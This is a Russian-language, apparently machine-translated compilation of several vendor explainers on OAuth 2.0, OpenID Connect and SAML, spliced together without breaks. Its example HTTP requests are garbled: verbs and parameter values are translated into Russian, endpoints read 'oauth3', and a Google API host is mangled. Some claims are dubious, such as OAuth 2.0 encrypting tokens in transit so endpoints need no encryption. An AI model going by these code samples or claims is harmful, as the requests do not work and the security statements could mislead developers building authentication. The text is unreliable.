OIDC был создан для масштабирования в Интернете, делая вещи полностью динамическими. Больше не нужно скачивать метаданные и федерацию, как того требует SAML. Есть встроенная регистрация, обнаружение и метаданные для динамических федераций. Вы можете ввести свой адрес электронной почты, затем он динамически обнаруживает вашего поставщика OIDC, динамически загружает метаданные, динамически узнает, какие сертификаты он собирается использовать, и разрешает BYOI (Bring Your Own Identity). Он поддерживает высокий уровень гарантии и ключевые сценарии использования SAML для предприятий.
OIDC прославили Google и Microsoft, которые первыми начали его внедрять. Okta также вложила большие средства в OIDC.
Все, что изменилось в первоначальном запросе, — это то, что он содержит стандартные области (например, openid
и электронная почта
):
Запрос | ПОЛУЧИТЬ https://accounts.google.com/o/oauth3/auth? scope = адрес электронной почты openid & redirect_uri = https: //app.example.com/oauth3/callback& response_type = код & client_id = 812741506391 & состояние = af0ifjsldkj |
Ответ | HTTP / 1.1 302 Найдено Расположение: https://app.example.com/oauth3/callback? код = MsCeLvIaQm6bTrgtp7 и состояние = af0ifjsldkj Возвращаемый код |
И разрешение на авторизацию для ответа токенов содержит токен ID.
Запрос | POST / oauth3 / v3 / токен HTTP / 1.1 Хост: www.googleapis.ком Тип содержимого: application / x-www-form-urlencoded code = MsCeLvIaQm6bTrgtp7 & client_id = 812741506391 & client_secret = {client_secret} & redirect_uri = https: //app.example.com/oauth3/callback& grant_type = код_ авторизации |
Ответ | { "access_token": "2YotnFZFEjr1zCsicMWpAA", "token_type": "На предъявителя", "expires_in": 3600, "refresh_token": "tGzv3JOkF0XG5Qx2TlKWIA", "id_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6IjFlOWdkazcifQ... " } |
Вы можете видеть, что это красиво наложено поверх OAuth, чтобы вернуть токен ID в виде структурированного токена. Маркер идентификатора — это веб-токен JSON (JWT). JWT (он же «jot») намного меньше гигантского утверждения SAML на основе XML и может эффективно передаваться между различными устройствами. JWT состоит из трех частей: заголовка, тела и подписи. В заголовке указано, какой алгоритм был использован для его подписания, претензии находятся в теле, а его подписано в подписи.
Поток Open ID Connect включает следующие шаги:
- Обнаружить метаданные OIDC
- Выполните поток OAuth для получения токена идентификатора и токена доступа
- Получить ключи подписи JWT и, при необходимости, динамически зарегистрировать клиентское приложение
- Проверить токен JWT ID локально на основе встроенных дат и подписи
- Получите дополнительные атрибуты пользователя по мере необходимости с токеном доступа
OAuth + Okta
Okta наиболее известна своими службами единого входа, которые позволяют беспрепятственно аутентифицироваться в приложениях, которые вы используете ежедневно.Но знаете ли вы, что у Okta есть отличная платформа для разработчиков? Безопасный единый вход часто использует SAML в качестве предпочтительного протокола, но Okta также предоставляет несколько других вариантов, включая виджет входа, Auth SDK (библиотека на основе JavaScript), вход через социальные сети и API аутентификации для любого клиента. Если вы хотите узнать об Okta прямо из первоисточника, вам следует посетить Oktane17 в конце августа. Есть трек, посвященный разработке приложений.
См. OIDC / OAuth 2.0 API Okta для получения конкретной информации о том, как мы поддерживаем OAuth.
SAML внедряется Okta с ее модулями SSO. Если вы, как и я, являетесь клиентом Okta, вы, вероятно, взаимодействуете с большинством приложений, используя что-то вроде https://okta.okta.com/app/UserHome. Когда вы нажимаете на чиклет, мы отправляем сообщение, мы подписываем утверждение, внутри утверждения указывается, кто является пользователем, и что оно пришло из Okta. Поставьте на него цифровую подпись, и все готово.
Если вы предпочитаете посмотреть видео, чтобы узнать о OAuth, ознакомьтесь с презентацией Нейта Барбеттини, менеджера по продукту Okta, ниже.
Обзор OAuth 2.0
OAuth 2.0 — это среда авторизации для делегированного доступа к API. Он включает клиентов, которые запрашивают области, на которые Владельцы ресурсов разрешают / дают согласие. Гранты авторизации обмениваются на токены доступа и токены обновления (в зависимости от потока). Существует несколько потоков для решения различных сценариев клиента и авторизации. JWT могут использоваться для структурированных токенов между серверами авторизации и серверами ресурсов.
OAuth имеет очень большую площадь защиты. Обязательно используйте безопасный инструментарий и проверьте все введенные данные!
OAuth не является протоколом аутентификации. OpenID Connect расширяет OAuth 2.0 для сценариев аутентификации и часто называется «SAML с фигурными скобками». Если вы хотите еще глубже погрузиться в OAuth 2.0, я рекомендую вам посетить OAuth.com, попробовать Auth SDK Okta и испытать потоки OAuth самостоятельно.
Если вы хотите узнать больше о OAuth и OIDC, мы рекомендуем следующие публикации:
Если вам нравится OAuth 2.0 и OIDC, подпишитесь на нас в Твиттере или посетите наш новый сайт безопасности, где мы публикуем подробные статьи по темам безопасности.
Что такое OAuth и как он защищает мою личную информацию?
OAuth (произносится «oh-auth») — это технологический стандарт, позволяющий обмениваться информацией между службами, не раскрывая свой пароль. Это широко распространенный стандарт, который используют разработчики веб-сайтов и приложений, и вы, вероятно, каждый день пользуетесь сервисами, использующими OAuth.
Как работает OAuth и как он защищает вашу личную информацию? Ответим на ваши вопросы.Дилемма обмена информацией
В современную эпоху у нас много цифровых учетных записей. У нас есть учетные записи в социальных сетях, у нас есть онлайн-банковские счета, у нас есть онлайн-счета на предприятиях и в розничных магазинах, и у нас есть счета на наших любимых веб-сайтах. Все эти цифровые учетные записи требуют, чтобы мы установили имя пользователя и пароль.
Еще одним аспектом нашего современного общества является то, что многие из наших онлайн-сервисов интегрированы.Например, если у вас есть смартфон, вы можете публиковать свои фотографии в Facebook. Вы можете поделиться хорошей записью в блоге в Twitter. Вы можете привязать платежные приложения, такие как Venmo, к своему банковскому счету. Кажется, что все онлайн-сервисы в настоящее время предназначены для взаимодействия с другими интерфейсами.
Здесь вы рискуете нарушить конфиденциальность. Включая совместное использование данных, вы предоставляете третьим лицам доступ к своей личной информации.
Означает ли это, что связывать аккаунты не следует? Неа! Такие стандарты, как OAuth, обеспечивают безопасность вашей личной информации при передаче данных между третьими сторонами.
Как работает OAuth
Что делать, если одна сторонняя служба хочет использовать информацию, имеющуюся у вас на другой сторонней службе? Так, например, вы хотите поделиться одной из своих фотографий из Instagram в Facebook. Вы могли подумать, что Facebook запросит ваш пароль в Instagram, чтобы получить доступ к фотографиям, размещенным на нем. Правильно?
Но это опасно. Чем чаще вы раздаете свои пароли, тем больше вероятность того, что ваши пароли будут скомпрометированы. Вот где на помощь приходит OAuth.
OAuth, что означает «открытая авторизация», позволяет сторонним службам обмениваться вашей информацией без необходимости сообщать ваш пароль.
токенов OAuth
OAuth использует систему токенов. Ну, если быть точным, это «токены доступа». Маркер доступа дает одному стороннему источнику временный доступ к ограниченному объему вашей личной информации из другого стороннего источника [1].
Итак, в этой аналогии между Instagram и Facebook Facebook запросит у вас разрешение на доступ к вашему Instagram.Вы подтверждаете заявку. Затем Facebook получит токен доступа для этой единственной фотографии в вашей учетной записи Instagram. Instagram проверит токен и предоставит доступ к Facebook, чтобы он мог получить фотографию.
Facebook никогда не получает информацию для входа в ваш Instagram.
Вы единственный, кто может предоставлять токены доступа. Некоторые жетоны предоставляются для одноразового использования, а другие — для повторного использования до тех пор, пока они не будут деактивированы (например, совместное использование местоположения на вашем смартфоне).
Кто использует OAuth?
Существует множество крупных компаний, предоставляющих услуги OAuth, что свидетельствует о том, насколько широко этот стандарт получил распространение. Вот некоторые из основных поставщиков:
- Amazon
- AOL
- Bitly
- Dailymotion
- Etsy
- Goodreads
- Google App Engine
- Microsoft
- Netflix
- Tumblr
- Vimeo
- WordPress
- Yahoo!
Есть и другие услуги.Но, как видите, OAuth — это проверенный и надежный способ защиты вашей личной информации, позволяющий также удобно обмениваться ею между службами [2].
Чем OAuth отличается от других форм аутентификации?
Есть несколько других широко используемых стандартов аутентификации, но OAuth немного отличается от них.
SAML
SAML (язык разметки безопасности) — это общий стандарт, который используется в основном для управления процессами единой регистрации.Единый вход используется в основном в федеральных и корпоративных сетях, хотя в некоторых библиотеках он также может быть. Здесь пользователь входит на портал и может получить доступ ко всей корпоративной информации. Таким образом, вы можете войти на корпоративный портал и получить доступ к информации компании, такой как финансовые данные или служебные записки.
SAML был разработан для обеспечения безопасности единого входа. Он удостоверяет, что пользователь является лицом, уполномоченным иметь доступ к информации на портале. После аутентификации SAML предоставляет пользователю токен доступа для одного сеанса.SAML не управляет обменом данными между третьими сторонами, что делает его менее полезным для приложений.
OpenID
Вы можете часто видеть OAuth по сравнению с OpenID. Как и SAML, OpenID используется в первую очередь для аутентификации чьей-либо личности, а не для авторизации обмена данными. OpenID позволяет вам создать единую учетную запись для входа, которую вы можете использовать для множества веб-сайтов, работающих совместно. Поэтому, если вы используете два разных веб-сайта, которые взаимодействуют друг с другом, вы можете создать один OpenID, который будет работать для обоих веб-сайтов [3].
Знайте, что OAuth может обеспечивать как авторизацию, так и аутентификацию. Это позволяет вам обмениваться информацией из одной службы в другую, но некоторые службы OAuth могут реализовывать средства защиты, требующие входа в учетную запись для подтверждения своей личности.
В чем разница между OAuth 1 и OAuth 2?
OAuth 2.0 был серьезным обновлением по сравнению с первой версией OAuth. Многие компании предоставили информацию о том, как OAuth 2.0 может стать лучше своего предшественника, включая Yahoo !, Facebook, Salesforce, Microsoft, Twitter и Google.
OAuth 1 был разработан в первую очередь для веб-сайтов. OAuth 2.0 стал более совместимым для использования как веб-сайтами, так и приложениями. Вторая версия также допускает большее разнообразие токенов доступа, таких как краткосрочные токены и долгоживущие токены обновления [4].
Гарантированно ли OAuth защищает всю мою информацию?
Никакие стандарты авторизации или аутентификации не гарантируют защиты вашей информации. Если ваша информация доступна в Интернете, она может быть украдена.Если хакеры взломают сервер какой-либо службы, которую вы используете, они потенциально могут забрать вашу регистрационную информацию или личную информацию, такую как имя, адрес и данные кредитной карты. Лучший способ защитить себя в Интернете — создать сложные пароли, которые хакеры не смогут уметь угадывать. Вам также следует часто менять свои пароли (несколько раз в год), чтобы в случае утечки данных хакеры получили только ваши устаревшие данные для входа. Они не смогут использовать ваш старый пароль для входа в ваши учетные записи.Использование виртуальной частной сети (VPN) — еще один отличный способ защитить вашу конфиденциальность.Отличительной чертой OAuth является то, что он ограничивает количество сторонних лиц, знающих ваши пароли. Нет, это не означает, что ваша личная информация на 100% безопасна. Но, уменьшив количество объектов, имеющих ваши пароли, вы уменьшите вероятность взлома ваших паролей.
[1] TechTarget.com; OAuthОб авторе
Зак Кабадинг (Zach Cabading) — автор статей в HP® Tech Takes. Зак — специалист по созданию контента из Южной Калифорнии, он создает разнообразный контент для индустрии высоких технологий.Что такое OAuth (открытая авторизация)
OAuth (открытая авторизация) — это стандарт авторизации ресурсов. Он позволяет пользователям в организации входить в систему с помощью провайдеров подключения OAuth / OpenID, таких как Microsoft Azure AD, AWS Cognito, приложения Google, Facebook и т. Д., И делиться своей информацией с корпоративными приложениями. Он использует механизм авторизации на основе токенов для предоставления пользователям доступа к корпоративным приложениям.
Приложения, поддерживающие вход с использованием сторонних сервисов, обычно предлагают пользователю пройти аутентификацию, предлагая такие варианты, как «Войти через Facebook» или «Войти через Google» и т. Д.таким образом, позволяя пользователю использовать свои учетные данные для входа в стороннюю службу. В ответ служба отправляет токен доступа запрашивающему приложению, который подтверждает подлинность пользователя, запрашивающего доступ. Затем токен используется для выполнения запросов к ресурсам, которые требуются конечному пользователю.
OAuth подходит как для браузеров, так и для мобильных приложений и широко используется для доступа к клиентским приложениям и API. Обычно OAuth использует JSON для передачи сообщений между приложениями и использует HTTP для запроса и получения токенов.
Пользователи OAuth — это те, кто пытается использовать реализацию безопасного протокола с помощью таких приложений, как Google, Microsoft, Paypal, которые обеспечивают подлинность удостоверений.
До OAuth протокол HTTP был стандартом базовой аутентификации, при котором пользователю предлагалось ввести имя пользователя и пароль для доступа к каждому приложению. Веб-сайты будут предлагать вам ввести свое имя пользователя и пароль непосредственно в форму, и они будут входить в ваши данные (например, в вашу учетную запись Gmail) как вы.
Базовая аутентификация по-прежнему используется в качестве примитивной формы аутентификации API для серверных приложений, в которой вместо отправки имени пользователя и пароля на сервер с каждым запросом пользователь отправляет идентификатор ключа API и секрет.
В отличие от вышеизложенного, OAuth позволяет аутентификацию с использованием токенов доступа, что является более безопасным, поскольку не используется обмен паролями.
Рабочий процесс единого входа (SSO) OAuth:
- Неизвестный пользователь пытается получить доступ к ресурсам.
- Веб-приложение отправляет запрос авторизации провайдеру OAuth.
- Сервер OAuth предлагает пользователю войти в систему и авторизует приложение.
- Пользователь перенаправляется на страницу входа, где он входит в систему.
- Провайдер OAuth аутентифицирует пользователя и отправляет код авторизации в веб-приложение miniOrange.
- Веб-приложение отправляет свой собственный client_id, client_secret с кодом авторизации, полученным от сервера OAuth. Сервер
- затем аутентифицирует запрос и отправляет токен доступа клиенту miniOrange OAuth.
- Ваше веб-приложение использует маркер доступа для доступа к ресурсам на сервере ресурсов.
- Использование токена доступа, токена идентификатора и информации о пользователе miniOrange позволяет пользователю получить доступ к защищенным функциям.
- Теперь пользователь аутентифицирован и вошел в систему. Таким образом, приложение предоставляет доступ к ресурсам.
Давайте рассмотрим пример, чтобы показать вам, как реализовать OAuth в качестве потребителя:
1. Зарегистрируйте приложение:Регистрация вашего приложения у поставщика удостоверений OAuth, такого как Azure AD, AWS Cognito, Facebook, Google Apps и т. Д.включает создание приложения и ввод данных, связанных с приложением. После успешной регистрации приложения вы получите ключ потребителя и секретный ключ. Эти ключи используются для идентификации вашего приложения поставщику OAuth и требуются при запросе токена.
2. поставщик OAuth запроса клиентского приложения для токена доступа:
Ваше зарегистрированное приложение теперь может отправить запрос авторизации провайдеру OAuth с запросом токена доступа. Пользователь должен пройти аутентификацию у поставщика OAuth и получить согласие на странице авторизации с просьбой предоставить вашему приложению разрешения на доступ к определенным пользовательским данным.После того, как пользователь одобряет согласие, для него создается одноразовый токен, который передается в клиентское приложение.
3. Обменять токен одноразового запроса на токен доступа OAuth:
После того, как пользователь предоставит разрешения вашему приложению, ваше приложение может обменять токен запроса на токен доступа. Маркер доступа используется вашим приложением для запроса определенных ресурсов у поставщика OAuth, которому пользователь предоставил разрешение на доступ.
Компоненты OAuth: —
- Конечный пользователь / Владелец ресурса — Владелец ресурса — это конечный пользователь, который хочет получить доступ к защищенному ресурсу.Пользователь может выполнять операции чтения / записи на ресурсе в зависимости от своих авторизованных разрешений.
- Сервер ресурсов — Ресурс, запрошенный конечным пользователем, присутствует на сервере ресурсов. Сервер ресурсов обрабатывает запросы на доступ / обновление ресурса, а также пересылает запросы аутентификации на сервер OAuth или сервер авторизации. Он не разрешает доступ к ресурсу, если запрос не содержит соответствующий токен доступа.
- Сервер авторизации — Сервер OAuth — это сервер аутентификации, который обрабатывает запросы на вход и проверяет личность пользователя.Он также предоставляет запрошенную информацию о пользователе вместе с токеном доступа к серверу ресурсов.
Преимущества: —
1. Предотвращает необходимость поддерживать службу аутентификации:Поскольку OAuth позволяет приложениям аутентифицировать пользователей, устанавливая их идентификационные данные от сторонних сервисов, это избавляет приложение от необходимости реализовывать собственную систему аутентификации.
2. простой обмен пользовательскими данными:
Поскольку для единого входа требуется единый набор учетных данных для аутентификации и предоставляется доступ к нескольким приложениям / веб-сайтам, пользователю необходимо запомнить только один пароль, в отличие от запоминания нескольких паролей для каждого отдельного приложения / веб-сайта.
3. Больше доверия:
Обычно приложениям аутентификации (Google, Facebook) и т. Д. Пользователи доверяют больше, чем вашему собственному приложению. Следовательно, они легко аутентифицируют себя с помощью этих сервисов, не беспокоясь о том, чтобы поделиться своей информацией напрямую.
4. Простота внедрения:
OAuth использует исключительно протокол HTTP для отправки и получения информации и токенов доступа. Это упрощает реализацию службы OAuth, а также клиента, поскольку не требует использования сложных стандартов или определений.
Ограничения:
- Уязвимость в системе безопасности: Если вы используете одну службу для подключения ко всем другим любимым сайтам, и одна учетная запись будет взломана, последствия будут ощущаться на нескольких сайтах, а не только на одном. Например, если вы вошли в систему через Facebook для всех приложений, а затем, если ваша учетная запись Facebook была взломана, ваша личность и информация будут скомпрометированы на нескольких сайтах, а не только на одном.
- Неправильное использование данных: Несмотря на то, что OAuth ограничивает новые веб-сайты и приложения от получения всех ваших пользовательских данных и их продажи против вашей воли, вам все равно необходимо доверять службе аутентификации ваши данные.Это означает, что вашими данными владеет служба, и вы больше не можете контролировать, могут ли они быть использованы неправомерно без вашего разрешения.
Что такое OAuth? — JumpCloud
OAuth 2.0 — это структура, которая определяет, как веб-приложения взаимодействуют друг с другом и определяют авторизацию между ними. Это всего лишь один из набора современных протоколов, о котором должны знать ИТ-администраторы, и здесь мы расскажем, как он может быть частью вашей стратегии управления идентификацией и доступом (IAM).
Определено OAuth
OAuth 2.0 — это платформа авторизации, выпущенная в 2012 году. Она делегирует авторизацию стороннему серверу авторизации через токены доступа, а не передает учетные данные между клиентом и сервером ресурсов, к которому он обращается.
Токены могут использовать либо документы XML, либо нотацию объектов JavaScript (JSON). По сути, OAuth 2.0 описывает «потоки авторизации для веб-приложений, настольных приложений, мобильных телефонов и устройств в гостиной».
OAuth 2.0 можно комбинировать с OpenID Connect для аутентификации, но он несовместим со своим предшественником, OAuth 1.0
Преимущества OAuth
Основные игроки отрасли используют OAuth 2.0 (например, Google, Facebook, Twitter и др.). API Google используют его, например, для аутентификации и авторизации.
OAuth также можно использовать для определения объема доступа приложений к учетным записям. Возможно, вы знакомы с этим как обычный пользователь, когда сторонняя служба запрашивает разрешение на доступ к вашей учетной записи Google и указывает, к каким активам в вашей учетной записи он будет получать доступ.
Это также открытый стандарт, ориентированный на простоту разработки. Хотя он используется для потоков авторизации в веб-приложениях, OAuth отличается от другого основного протокола, используемого для аутентификации в веб-приложениях, — SAML.
Разница между OAuth и SAML
SAML (Security Assertion Markup Language) — это протокол, который решения единого входа (SSO) веб-приложений используют для безопасной аутентификации между поставщиками удостоверений и поставщиками услуг, также известными как веб-приложения.
И SAML, и OAuth определяют отношения между приложением и поставщиком удостоверений. Однако аутентификация в OAuth выполняется другим «поставщиком удостоверений», которым может быть приложение, поэтому, когда кому-то нужно авторизоваться во втором приложении, он может сделать это, используя OAuth из первого приложения. Например, приложению, интегрированному в Slack, могут потребоваться данные из вашего рабочего пространства Slack для выполнения своих задач. Он будет использовать OAuth для запроса разрешения на доступ к указанным данным, вместо того, чтобы использовать или записывать ваши учетные данные Slack для получения доступа или требовать от вас создания для него нового набора учетных данных.
OAuth, как упоминалось выше, также предназначен для определения области доступа, которая представляет собой практику предоставления только минимального доступа к ресурсу или приложению.
Хотя протоколы используются по-разному, их можно использовать в сочетании в комплексном решении для управления идентификацией и доступом, в том числе в тесной интеграции между облачной службой каталогов и пакетами для повышения производительности, такими как G Suite и Office 365 TM .
OAuth в управлении идентификацией и доступом
OAuth — лишь один из множества современных протоколов, которые могут потребоваться предприятиям для подключения пользователей к инструментам, которые им нужны для повседневной работы, а также к SAML, RADIUS и LDAP.
В идеале центральный провайдер идентификации должен иметь возможность использовать все эти протоколы при подключении пользователей к системам, приложениям, файлам и сетям — без необходимости в надстройках для этого. Таким образом, администраторы могут контролировать доступ ко всем ресурсам, независимо от операционной системы или типа, из одного места.
Узнайте больше об использовании всех этих протоколов, включая OAuth, от облачного провайдера идентификации.
Что такое OAuth? Определение и как это работает
OAuth использует токены доступа для предоставления временного доступа третьим лицам.Токены обычно используются на короткий срок, но некоторые могут предоставлять повторяющийся доступ.
Подумайте о том, какой отдельный ключ парковщика вы отдадите ему при парковке автомобиля. Ключ камердинера — это не то же самое, что основной ключ, потому что он дает только ограниченный доступ к вашему автомобилю. Ключ камердинера не откроет багажник или запертый перчаточный ящик, поэтому он не сможет получить доступ к каким-либо личным ценным предметам. Некоторые ключи камердинера имеют дополнительные ограничения, такие как разрешение на проезд автомобиля только определенное количество миль.
Токен OAuth работает точно так же. Веб-сайту или службе предоставляется другой служебный ключ, и у них никогда не бывает «основного» ключа для доступа к каким-либо личным данным или учетным данным, содержащимся в основном ключе.
Давайте посмотрим, как OAuth разрешает доступ. Предположим, что пользователь уже вошел в систему на веб-сайте или в службе, и теперь пользователь хочет инициировать транзакцию, для которой требуется доступ к стороннему сайту или службе. Процесс авторизации выполняется следующим образом:
- Приложение запрашивает авторизацию для доступа к защищенному поставщику услуг.
- Пользователь разрешает запрос.
- Приложение предоставляет поставщику услуг подтверждение авторизации пользователя в обмен на токен доступа.
- Пользователь перенаправляется к поставщику услуг для предоставления разрешения.
- После утверждения пользователем приложение получает маркер доступа.
- Приложение запрашивает доступ к защищенным ресурсам у поставщика услуг.
Наибольшее преимущество OAuth для веб-сайтов, таких как новости, сообщества или сайты электронной коммерции, заключается в том, что доступ к веб-сайту с аутентификацией может быть расширен для неограниченного числа дополнительных пользователей без создания этими пользователями новых учетных записей, требующих адреса электронной почты и новый пароль.Открытая авторизация снижает трение для обеих сторон. Веб-сайты можно масштабировать, и пользователям не нужно создавать еще одну учетную запись в Интернете.
Дальше безопасность больше. Когда пользователь присоединяется к веб-сайту, войдя в систему с помощью Facebook, например, если этот веб-сайт становится целью кибератаки, пользователи, которые вошли в систему с помощью OAuth, не будут раскрыты или украдены.
OAuth 1.0 против OAuth 2.0
OAuth 1.0 и 2.0 совершенно разные и, что удивительно, несовместимы. Версия 1.0, которая сейчас устарела, была разработана специально для веб-сайтов. Это считалось сложным и не масштабировалось. Версия 2.0, с другой стороны, обеспечивает авторизованный доступ к интерфейсам прикладного программирования (API) и шифрует токены в пути, поэтому нет необходимости в шифровании на конечных точках.
OAuth 2.0 был разработан для большей совместимости между сайтами и устройствами. У него также есть срок действия токена, которого не было в версии 1.0. Хотя версии 1.0 и 2.0 несовместимы, веб-сайт может поддерживать обе версии. Создатели версии 2.0 предназначались для сайтов, использующих версию 1.0, чтобы полностью заменить ее версией 2.0.
Существуют другие структуры, протоколы и технологии безопасности для управления аутентификацией, авторизацией и идентификацией. Давайте посмотрим на два других: OpenID и SAML.
Если OAuth используется для авторизации, OpenID используется для аутентификации. Созданный в 2005 году для входа в LiveJournal, один из первых веб-сайтов для ведения блогов, OpenID был принят как способ входа с одним и тем же именем пользователя и паролем на нескольких сайтах.
По иронии судьбы, пользователи Интернета все равно это делают. Когда предлагается создать новое имя пользователя и пароль для веб-сайта, они часто по умолчанию используют те же учетные данные, которые они неоднократно использовали с другими сайтами. Хотя это помогает им помнить свои учетные данные, практика также может сделать их уязвимыми для кибератак. Физический ввод учетных данных на веб-сайте, который также используется для нескольких других сайтов, увеличивает шансы злоумышленников перехватить конфиденциальные данные пользователя.
При атаке типа «злоумышленник посередине» кибератаки используют подслушивание Wi-Fi или захват сеанса для кражи учетных данных в надежде получить доступ на другие веб-сайты.
Со временем сообщество разработчиков потеряло энтузиазм по поводу OpenID, особенно после того, как Facebook и его скоро повсеместная возможность «Войти через Facebook» начали распространяться по всему Интернету. Однако вместо того, чтобы полностью отказаться от OpenID, в 2014 году разработчики выпустили обновленную версию в качестве уровня аутентификации для OAuth.В этой новой версии OpenID и OAuth дополняют друг друга.
Язык разметки утверждения безопасности (SAML) — еще одна технология, часто обсуждаемая в том же контексте, что и OAuth. SAML — это протокол, который позволяет поставщику удостоверений (IdP) пересылать учетные данные пользователя поставщику услуг (SP) для выполнения как аутентификации, так и авторизации для этого пользователя для доступа к услуге. SAML использует расширяемый язык разметки (XML) для стандартизации взаимодействия между различными системами.
Поскольку открытая авторизация выполняет только авторизацию, SP потребуется дополнительный уровень аутентификации, такой как OpenID, для выполнения аутентификации. SAML может самостоятельно обеспечивать функцию единого входа (SSO).
SAMLстарше других протоколов фреймворка, и, поскольку он чаще используется в корпоративных приложениях, сообщество разработчиков стремилось создать более легкую и ориентированную на потребителя фреймворк, тем более что потребители все чаще получают доступ к сайтам и приложениям с использованием различных конечных точек, как личных, так и корпоративный.OAuth использует для кодирования данных более легкий открытый стандартный формат файла JSON, который также лучше работает на мобильных устройствах.
Обратите внимание, что со всеми этими технологиями это не сценарий «либо-либо», потому что компании могут использовать все три решения для достижения разных целей.
Что такое OAuth? | Часто задаваемые вопросы и рекомендации по открытой авторизации
Впервые выпущенная в 2007 году, открытая авторизация (сокращенно OAuth) стала основным протоколом авторизации на многих веб-сайтах, в приложениях и даже на мобильных устройствах, особенно для разработчиков, желающих сотрудничать с другими организациями.
Все мы знаем главное правило — никогда не сообщать свой пароль — и это как никогда верно! Несмотря на свою популярность, пароли не так безопасны, как мы когда-то думали. Фактически, около 90% паролей, сгенерированных пользователями, уязвимы для взлома из-за слабых учетных данных, созданных пользователями.
Таким образом, OAuth является важной частью аутентификации веб-сайта любой организации, поскольку защищает учетные данные пользователей. Тем не менее, этот конкретный метод и то, как он работает на самом деле, часто вызывает путаницу.
Если ваш веб-сайт требует входа в систему для доступа к определенной информации (такой как профиль в социальных сетях, учетная запись онлайн-банка или сайт электронной коммерции), понимание того, как работает OAuth, имеет решающее значение. Используя его в процессе аутентификации вашего веб-сайта, вы можете одновременно улучшить взаимодействие с пользователем. и защищают конфиденциальные данные пользователей.
Вот почему мы составили это исчерпывающее руководство, чтобы помочь вам лучше понять OAuth — и то, как реализовать его для вашего собственного процесса аутентификации.Давайте рассмотрим следующие часто задаваемые вопросы об открытой авторизации:
- Что такое OAuth?
- Для чего используется OAuth?
- Как работает OAuth?
- Почему OAuth популярен?
- Насколько безопасен OAuth?
- Что можно улучшить с помощью OAuth?
Многие темы, обсуждаемые в этом руководстве, требуют некоторых базовых знаний о безопасности аутентификации и авторизации (а также о ключевых различиях между ними). Прежде чем приступить к делу, вы можете воспользоваться нашим подробным руководством, чтобы освежить в памяти темы.В противном случае, приступим?
1. Что такое OAuth?
Открытая авторизация (или для краткости OAuth) — это тип аутентификации на основе токенов, который позволяет организациям обмениваться информацией между сторонними службами, не раскрывая имена пользователей и / или пароли своих пользователей. По сути, OAuth — это посредник, который предоставляет сторонним сервисам токен, который позволяет делиться только определенной информацией учетной записи.
Другими словами, OAuth — это процесс, в котором пользователи предоставляют веб-сайтам или приложениям доступ к информации на другом веб-сайте без предоставления учетных данных. Затем OAuth гарантирует, что веб-сайт, запрашивающий информацию, имеет необходимые разрешения для доступа к данным пользователя.
Что такое OAuth 2.0?
OAuth 2.0 — это переработанная версия оригинального протокола открытой авторизации 2012 года, которая обеспечивает более комплексное решение как для современных веб-клиентов, так и для других клиентов. OAuth 2.0 — это текущий отраслевой стандарт для программного обеспечения авторизации.
В настоящее время термин «OAuth» обычно относится к OAuth 2.0, а не исходный протокол. Проходя оставшуюся часть этого руководства, имейте в виду, что мы также обсуждаем текущий отраслевой стандартный протокол OAuth 2.0.
2. Для чего используется OAuth?
Вы, вероятно, использовали OAuth, даже не осознавая этого. Например, всякий раз, когда вы даете веб-сайту разрешение на доступ к вашей информации в Facebook, вы используете открытую авторизацию. Этот протокол полезен, потому что он позволяет вам делиться ограниченным объемом информации со сторонним сайтом, а не предоставлять им полный контроль над вашей учетной записью с вашими учетными данными.
Распространенное заблуждение относительно OAuth состоит в том, что этот процесс также проверяет личность пользователя, иначе известную как аутентификация. В результате OAuth часто путают с аутентификацией с единым входом (SSO). Хотя эти два процесса очень похожи и даже имеют некоторые общие характеристики, у них есть одно ключевое различие: SSO аутентифицирует пользователей, тогда как OAuth авторизует пользователей.
Чтобы лучше понять разницу, давайте сначала разберем, что означают аутентификация и авторизация:
- Аутентификация — это акт проверки личности пользователя.Когда пользователь вводит свое имя пользователя и пароль (или использует учетные данные без пароля), веб-сайт использует эту информацию, чтобы подтвердить, что человек является предполагаемым пользователем, сравнивая ее с защищенной базой данных учетных данных пользователя.
- Авторизация, с другой стороны, , происходит после аутентификации пользователя. Это когда система проверяет, какие разрешения есть у пользователя. Разрешения пользователя определяют, что человек видит и какие действия он может предпринять на веб-сайте после того, как вы подтвердите, что они такие, какими они себя называют.
Самый простой способ сравнить и сопоставить эти два термина: аутентификация спрашивает пользователя: «Кто вы?» в то время как авторизация спрашивает: «Что вам разрешено делать?» Таким образом, авторизация без аутентификации невозможна. Однако простой аутентификации недостаточно для защиты учетных записей и предоставления определенных разрешений, поэтому два процесса работают рука об руку.
OAuth служит для обеспечения того, чтобы сторонние веб-сайты имели необходимые разрешения для доступа к информации пользователя после того, как его личность была подтверждена с использованием метода проверки подлинности .
3. Как работает OAuth?
Если вы кое-что знаете об аутентификации на основе токенов, то OAuth довольно просто понять. Процесс, в котором веб-сайт получает токен, называется потоком, и в потоке OAuth есть три ключевых игрока: пользователь, потребитель и поставщик услуг.
Чтобы лучше объяснить, как работает этот процесс, представим, что ваша организация (пользователь) хочет использовать инструмент управления социальными сетями для планирования и публикации ваших публикаций в Facebook.В этом примере Facebook является поставщиком услуг, а инструмент управления социальными сетями — потребителем запрашиваемых данных.
Вот как будет работать процесс OAuth:
- Пользователь запрашивает действие. На этом начальном этапе вы сообщите инструменту управления социальными сетями, что вы хотите автоматически публиковать сообщения, используя их службу.
- Потребитель получает разрешение от поставщика услуг. Инструмент управления социальными сетями запросит у Facebook разрешение на доступ к вашей учетной записи и публикацию сообщений.В ответ Facebook отправит им токен с уникальной подписью или секретным кодом, который проверяет действия инструмента управления.
- Пользователь перенаправляется к поставщику услуг. Как только инструмент управления социальными сетями получит токен, он перенаправит вас на страницу входа в Facebook.
- Пользователь дает разрешение потребителю. Когда вы будете перенаправлены на страницу входа в Facebook, он запросит ваше имя пользователя и пароль и подтвердит, что вы хотите, чтобы инструмент управления социальными сетями мог публиковать сообщения от вашего имени.Как только разрешение будет предоставлено, токен будет утвержден и использоваться каждый раз, когда инструмент управления социальными сетями делает запрос.
- Потребитель получает доступ к защищенным разрешениям. Теперь, когда у инструмента управления социальными сетями есть токен, он может выполнять задачи, потому что токен делегирует, к каким разрешениям у него есть доступ.
Важно отметить, что никогда в ходе этого взаимодействия вам не приходилось вводить учетные данные для входа в инструмент управления социальными сетями. Вместо этого токен действует как заполнитель, который также гарантирует, что у потребителя (или стороннего приложения) никогда не будет полного доступа к вашей учетной записи.
Например, если инструмент управления социальными сетями сделал запрос на изменение настроек вашей учетной записи Facebook, это действие будет отклонено, поскольку в токене указано только, что у потребителя есть разрешение на размещение сообщений от вашего имени.
